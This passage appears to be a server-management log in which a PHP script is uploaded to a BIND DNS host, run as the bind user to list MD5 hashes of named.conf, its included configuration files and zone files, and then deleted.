MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:35:17: Establishing a connection
2026-04-30 16:35:17: 

PUT: /tmp/pkp266315

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:35:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp266315; rm /tmp/pkp266315'

2026-04-30 16:35:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:38:39: Establishing a connection
2026-04-30 16:38:39: 

PUT: /tmp/pkp974631

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
